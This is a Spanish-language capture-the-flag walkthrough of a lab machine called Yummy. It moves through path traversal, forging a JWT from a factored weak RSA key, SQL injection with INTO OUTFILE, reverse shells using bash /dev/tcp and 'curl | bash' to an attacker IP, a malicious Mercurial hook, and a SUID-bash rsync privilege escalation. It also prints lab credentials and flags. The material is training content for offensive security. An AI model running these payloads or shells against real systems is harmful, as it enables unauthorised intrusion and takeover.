Yummy
OS: Linux
Dificultad: Difícil
Puntos: 40
Nmap
nmap -v -p- --min-rate=5000 10.10.11.36
nmap -v -p 22,80 -sV -sC -oN nmap.txt 10.10.11.36
Nmap scan report for yummy.htb (10.10.11.36)
Host is up (0.098s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
|_ 256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
80/tcp open http Caddy httpd
| http-methods:
|_ Supported Methods: POST GET OPTIONS HEAD
|_http-title: Yummy
|_http-favicon: Unknown favicon MD5: 0C6ECE85EA540E6ABEBA19B1436C17E2
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
La aplicacion cuenta con formulario de registro y login. Nos creamos una cuenta y accedemos al siguiente portal.
Si creamos una reserva veremos la opcion de Save icalendar.
Capturando la peticion logramos identificar lo siguiente.
Modificando el path podemos obtener Path Inclusion.
Despues de multiples intentos obtenemos el archivo crontab con refencia a otros archivos.
/export/../../../../../../../../../../../etc/crontab
Obtenemos el contenido.
/export/../../../../../../../../../../data/scripts/app_backup.sh
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Disposition: attachment; filename=app_backup.sh
Content-Length: 90
Content-Type: text/x-sh; charset=utf-8
Date: Thu, 10 Oct 2024 09:33:33 GMT
Etag: "1727364692.0530195-90-212669949"
Last-Modified: Thu, 26 Sep 2024 15:31:32 GMT
Server: Caddy
#!/bin/bash
cd /var/www
/usr/bin/rm backupapp.zip
/usr/bin/zip -r backupapp.zip /opt/app
Descargamos el archivo al que hace referencia.
/export/../../../../../../../../../../var/www/backupapp.zip
Create JWT Token
Una vez que descomprimimos el archivo backupapp.zip identificamos que la forma de crear la llave privada y publica para firmar los tokens es debil.
Note
La forma en que se generan los números primos (q y n) es preocupante. Usar sympy.randprime para generar un primo de gran tamaño (especialmente n) puede no ser suficiente en términos de seguridad. n debería ser un producto de dos primos grandes y generados de manera aleatoria y segura.
Hacemos un decode del token que tenemos actualmente de nuestro usuario.
{
"email": "test@test.com",
"role": "customer_cf45a2f3",
"iat": 1728558162,
"exp": 1728561762,
"jwk": {
"kty": "RSA",
"n": "98471437745070019010528889055178237835474140249566989722264504249931975097777347725884700700560191122321935647118412057685538739139929744045662451595303393114404846043724207713876952051892515040525586198009096902065763924350647582950287869426489677050973427821990943699634766775620755786854744178521326335600368751",
"e": 65537
}
}
Ahora utilizaremos RsaCtfTool para obtener la llave publica y privada.
https://github.com/RsaCtfTool/RsaCtfTool
Si nos genera el siguiente error al instalar la herramienta.
Failed to build gmpy2
ERROR: ERROR: Failed to build installable wheels for some pyproject.toml based projects (gmpy2)
Ejecuta los siguientes comandos:
pip install --upgrade pip setuptools wheel
apt install libmpc-dev
pip install -r requirements.txt
Para obtener el par de llaves ejecutamos lo siguiente.
python3 RsaCtfTool.py -n 98471437745070019010528889055178237835474140249566989722264504249931975097777347725884700700560191122321935647118412057685538739139929744045662451595303393114404846043724207713876952051892515040525586198009096902065763924350647582950287869426489677050973427821990943699634766775620755786854744178521326335600368751 -e 65537 --private
[*] Performing smallq attack on /tmp/tmpsb4sar37.
[*] Attack success with smallq method !
[+] Total time elapsed min,max,avg: 0.0004/0.2054/0.0653 sec.
Results for /tmp/tmpsb4sar37:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICqQIBAAKBgwhbtY4KBdlzEBzrO80He9kDkxSNvm8xHR2Fv6pR7D9VVP8a8eaW
W/ZxdKTkqAepf5f1c5jUfsNPZU3mjfvHYYhGLIMnN9EJFmGv6FwB1WHPL7WUo/18
nomeYIuSEbP3EbgJrQryAMZnI5/rJ3lMD08linr6Vcc2ApAy29n3lb3QDBxvAgMB
AAECgYMDmqf9wgjBLmOrdBpwxf2DlyMzM2TUFXuawZ2lxq2QHsV0py1OjjzuzRNj
OQyB8X5t5S+VXuM6VK7EbhcqnSLbFi1FLcCXzhUcCgpvGRqjjIPmX4pdPq7I2BK9
c4IBSxG9jExrwWaMBOuFLO9LPdhHRyAcaujp4qusTCAnDGGyW3ZgoQKBgQCOtZKX
1fDAxoKrJUjQh3HLoB1f6n6fFm5lU2DTfrv7QjSzykCYiksB54V4jVcpMSdDVFOh
3bd5oODh+g91RxOWqA2yiaQKg3YQY5RoKHlr2PkZV4z3yIWsFtbHFmKNsmeB42El
q1+u6mzctyy4xuaYAs1PYr7+knqRa35q5XgrswIDDv5VAoGBAIsyaA5Zyz79Ya71
6xQbSM/JGV3ZKDCcfImwzhz83PazGRzVBjTDj24IGZQAqSewng96TSjxTmkAltlU
Q4etEFo/CT1ALBVlLN/HgZYnBGhBdpdVYla97ERy8oO2PeLgRT3YP4Wypt3CIvUW
ZjTFLV7QPNpWAt3kmlEFfIVf1dspAgMMN9kCgYByPZ6AHbXaqV9lIzSMjrQe5KMe
yPT/OK2SP1UtC06fQyPFcmOl/PeJ93CE4sQk7k+pyd27f8KqNDEjhlL7+P3XhET/
4lhPqSPW6HTvOpo8+6u9vp2NqdJVVYgaQSUaiI4p2IlyrS7g8LYS6ALRkRE/yB6v
xOlqp2HRanRVnpEtEg==
-----END RSA PRIVATE KEY-----
┌──(venv)─(root㉿kali)-[/opt/RsaCtfTool]
└─# cat /tmp/tmpsb4sar37
-----BEGIN PUBLIC KEY-----
MIGhMA0GCSqGSIb3DQEBAQUAA4GPADCBiwKBgwhbtY4KBdlzEBzrO80He9kDkxSN
vm8xHR2Fv6pR7D9VVP8a8eaWW/ZxdKTkqAepf5f1c5jUfsNPZU3mjfvHYYhGLIMn
N9EJFmGv6FwB1WHPL7WUo/18nomeYIuSEbP3EbgJrQryAMZnI5/rJ3lMD08linr6
Vcc2ApAy29n3lb3QDBxvAgMBAAE=
-----END PUBLIC KEY-----
Creamos nuestro nuevo token con la siguiente pagina.
https://dinochiesa.github.io/jwt/
Con el nuevo token podemos acceder al portal de admin.
http://yummy.htb/admindashboard
SQL Injection
Esta parte del codigo es vulnerable a SQL Injection.
sql = f"SELECT * FROM appointments WHERE appointment_email LIKE %s order by appointment_date {order_query}"
cursor.execute(sql, ('%' + search_query + '%',))
connection.commit()
appointments = cursor.fetchall()
Usando sqlmap podemos automatizar el ataque.
sqlmap -r req.txt
[08:12:26] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected
GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1008 HTTP(s) requests:
---
Parameter: o (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: s=a&o=ASC,(SELECT (CASE WHEN (3779=3779) THEN 1 ELSE 3779*(SELECT 3779 FROM INFORMATION_SCHEMA.PLUGINS) END))
Type: error-based
Title: MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)
Payload: s=a&o=ASC,EXTRACTVALUE(4192,CONCAT(0x5c,0x716b7a7171,(SELECT (ELT(4192=4192,1))),0x7170627a71))
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: s=a&o=ASC;SELECT SLEEP(5)#
---
[08:15:40] [INFO] the back-end DBMS is MySQL
Tenemos el siguiente privilegio.
sqlmap -r req.txt --privileges
database management system users privileges:
[*] 'chef'@'localhost' [1]:
privilege: FILE
Tenemos que regresar un paso atras y analizar el siguiente archivo.
/export/../../../../../../../../../data/scripts/dbmonitor.sh
!/bin/bash
timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)
if [ "$response" != 'active' ]; then
/usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
/usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
else
if [ -f /data/scripts/dbstatus.json ]; then
if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
/usr/bin/echo "The database was down at $timestamp. Sending notification."
/usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
/usr/bin/rm -f /data/scripts/dbstatus.json
else
/usr/bin/rm -f /data/scripts/dbstatus.json
/usr/bin/echo "The automation failed in some way, attempting to fix it."
latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
/bin/bash "$latest_version"
fi
else
/usr/bin/echo "Response is OK."
fi
fi
[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json
Esta revisando el status del archivo dbstatus.json y si detecta que hay algun cambio va ejecutar el comando que esta en el parametro latest_version por lo tanto podemos hacer lo siguiente.
echo 'bash -i >& /dev/tcp/10.10.14.49/1234 0>&1' > shell.sh
http://yummy.htb/admindashboard?s=aa&o=ASC;select "aaa" INTO OUTFILE '/data/scripts/dbstatus.json';
http://yummy.htb/admindashboard?s=aa&o=ASC;select "curl 10.10.14.49/shell.sh |bash" INTO OUTFILE '/data/scripts/fixer-v___';
Esperamos un momento y obtenemos la shell.
┌──(root㉿kali)-[~/Yummy]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.36] 40586
bash: cannot set terminal process group (2244): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ id
id
uid=110(mysql) gid=110(mysql) groups=110(mysql)
mysql@yummy:/var/spool/cron$
Lateral Movement (www-data)
Si recordamos hay otro crontab script que esta ejecutando www-data.
*/1 * * * * www-data /bin/bash /data/scripts/app_backup.sh
Entonces basicamente podemo sobreescribir el archivo app_backup.sh con nuestra shell.
echo 'bash -i >& /dev/tcp/10.10.14.49/4444 0>&1' > /data/scripts/shell.sh
mv shell.sh /data/scripts/app_backup.sh
mysql@yummy:/data/scripts$ mv shell.sh /data/scripts/app_backup.sh
mv: replace '/data/scripts/app_backup.sh', overriding mode 0644 (rw-r--r--)? y
mysql@yummy:/data/scripts$ cat app_backup.sh
bash -i >& /dev/tcp/10.10.14.49/4444 0>&1
Esperamos un momento y obtenemos shell.
┌──(venv)─(root㉿kali)-[~/Yummy]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.36] 37188
bash: cannot set terminal process group (2693): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$
Lateral Movement (qa)
Identificamos varios archivos que contiene la palabra password.
www-data@yummy:~$ grep -ri password .
grep -ri password .
./app-qatesting/app.py: 'password': '3wDo7gSRZIwIHRxZ!',
./app-qatesting/app.py: password = request.json.get('password')
./app-qatesting/app.py: password2 = hashlib.sha256(password.encode()).hexdigest()
./app-qatesting/app.py: if not email or not password:
./app-qatesting/app.py: return jsonify(message="email or password is missing"), 400
./app-qatesting/app.py: sql = "SELECT * FROM users WHERE email=%s AND password=%s"
./app-qatesting/app.py: cursor.execute(sql, (email, password2))
./app-qatesting/app.py: return jsonify(message="Invalid email or password"), 401
./app-qatesting/app.py: password = hashlib.sha256(request.json.get('password').encode()).hexdigest()
./app-qatesting/app.py: if not email or not password:
./app-qatesting/app.py: return jsonify(error="email or password is missing"), 400
./app-qatesting/app.py: sql = "INSERT INTO users (email, password, role_id) VALUES (%s, %s, %s)"
./app-qatesting/app.py: cursor.execute(sql, (email, password, role_id))
./app-qatesting/config/signature.py: password=None,
grep: ./app-qatesting/config/__pycache__/signature.cpython-311.pyc: binary file matches
grep: ./app-qatesting/config/__pycache__/signature.cpython-312.pyc: binary file matches
./app-qatesting/templates/register.html: <label for="password">Password:</label>
./app-qatesting/templates/register.html: <input type="password" id="password" name="password">
./app-qatesting/templates/register.html: password: document.getElementById("password").value
./app-qatesting/templates/login.html: <label for="password">Password:</label>
./app-qatesting/templates/login.html: <input type="password" id="password" name="password">
./app-qatesting/templates/login.html: password: document.getElementById("password").value
grep: ./app-qatesting/.hg/wcache/checkisexec: Permission denied
grep: ./app-qatesting/.hg/store/data/app.py.i: binary file matches
En el siguiente archivo encontramos credenciales.
strings /var/www/app-qatesting/.hg/store/data/app.py.i
'user': 'chef',
'password': '3wDo7gSRZIwIHRxZ!'
'user': 'qa',
'password': 'jPAd!XQCtn8Oc@2B'
Nos podemos conectar por SSH.
┌──(root㉿kali)-[~/Yummy]
└─# ssh qa@yummy.htb
qa@yummy.htb's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-31-generic x86_64)
qa@yummy:~$ ls -la
total 44
drwxr-x--- 6 qa qa 4096 Sep 30 07:22 .
drwxr-xr-x 4 root root 4096 May 27 06:08 ..
lrwxrwxrwx 1 root root 9 May 27 06:08 .bash_history -> /dev/null
-rw-r--r-- 1 qa qa 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 qa qa 3771 May 27 14:47 .bashrc
drwx------ 2 qa qa 4096 Oct 10 13:15 .cache
drwx------ 3 qa qa 4096 May 28 16:24 .gnupg
-rw-rw-r-- 1 qa qa 728 May 29 15:04 .hgrc
drwxrwxr-x 3 qa qa 4096 May 27 06:08 .local
-rw-r--r-- 1 qa qa 807 Mar 31 2024 .profile
drwx------ 2 qa qa 4096 May 28 15:01 .ssh
-rw-r----- 1 root qa 33 Oct 10 12:44 user.txt
qa@yummy:~$ cat user.txt
6db1f8f93a838c3b204a1179d5a77b80
Privilege Escalation
Podemos ejecutar el siguiente comando como sudo.
qa@yummy:~$ sudo -l
[sudo] password for qa:
Matching Defaults entries for qa on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User qa may run the following commands on localhost:
(dev : dev) /usr/bin/hg pull /home/dev/app-production/
Para obtener reverse shell hacemos lo siguiente.
qa@yummy:~$ cd /tmp; mkdir .hg; chmod 777 .hg; cp ~/.hgrc .hg/hgrc
qa@yummy:/tmp$ echo -e '[hooks]\npost-pull = /tmp/shell.sh' >> /tmp/.hg/hgrc
qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.49/1234 0>&1' > /tmp/shell.sh
qa@yummy:/tmp$ chmod +x /tmp/shell.sh
Ejecutamos el siguiente comando y obtenemos shell.
qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/
pulling from /home/dev/app-production/
searching for changes
no changes found
┌──(root㉿kali)-[~/Yummy]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.49] from (UNKNOWN) [10.10.11.36] 37530
I'm out of office until October 11th, don't call me
dev@yummy:/tmp$
Ahora vemos que podemos ejecutar el siguiente comando como sudo.
dev@yummy:/tmp$ sudo -l
sudo -l
Matching Defaults entries for dev on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dev may run the following commands on localhost:
(root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/
Para escalar privilegios hacemos lo siguiente.
cp /bin/bash /home/dev/app-production/bash && chmod +s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/
ls -la /opt/app
/opt/app/bash -p
Los comando se deben de ejecutar rapidamente si no, no funcionara, por lo tanto copiamos todo y no pegamos en la terminal.
dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod +s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/
ls -la /opt/app
/opt/app/bash -pcp /bin/bash /home/dev/app-production/bash && chmod +s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* --chown root:root /opt/app/
dev@yummy:~$ ls -la /opt/app
total 1456
drwxrwxr-x 7 root www-data 4096 Oct 10 13:47 .
drwxr-xr-x 3 root root 4096 Sep 30 08:16 ..
-rw-rw-r-- 1 root root 10037 May 28 20:19 app.py
-rwsr-sr-x 1 root root 1446024 Oct 10 13:47 bash
drwxr-xr-x 3 root root 4096 May 28 13:59 config
drwxr-xr-x 3 root root 4096 May 28 13:59 middleware
drwxrwxr-x 2 root root 4096 Sep 25 14:00 __pycache__
drwxr-xr-x 6 root root 4096 May 28 13:59 static
drwxr-xr-x 2 root root 4096 May 28 14:13 templates
dev@yummy:~$
/opt/app/bash -p
id
uid=1000(dev) gid=1000(dev) euid=0(root) egid=0(root) groups=0(root),1000(dev)
cat /root/root.txt
7addcceca1db4a93844b6abbd5b9bc1a